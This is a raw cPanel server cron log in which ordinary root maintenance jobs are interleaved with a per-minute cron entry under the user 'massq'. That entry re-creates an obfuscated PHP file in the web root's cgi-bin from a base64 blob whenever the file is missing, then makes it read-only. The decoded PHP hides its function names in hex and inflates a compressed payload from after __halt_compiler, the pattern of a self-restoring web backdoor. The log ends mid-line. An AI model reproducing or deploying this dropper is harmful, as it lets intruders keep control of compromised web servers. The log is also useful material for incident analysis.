Apr  8 02:17:01 server CROND[22878]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:18:01 server CROND[22936]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:19:01 server CROND[23024]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:20:01 server CROND[23108]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 02:20:01 server CROND[23110]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 02:20:01 server CROND[23109]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 02:20:01 server CROND[23111]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:20:01 server CROND[23113]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 02:21:01 server CROND[23251]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:22:01 server CROND[23404]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:23:01 server CROND[23480]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:24:01 server CROND[23568]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:25:01 server CROND[23645]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr  8 02:25:01 server CROND[23647]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 02:25:01 server CROND[23649]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:25:01 server CROND[23648]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 02:26:01 server CROND[23797]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:27:01 server CROND[23959]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 02:27:01 server CROND[23960]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:28:01 server CROND[24028]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:29:01 server CROND[24094]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:30:01 server CROND[24176]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 02:30:01 server CROND[24178]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 02:30:01 server CROND[24175]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuy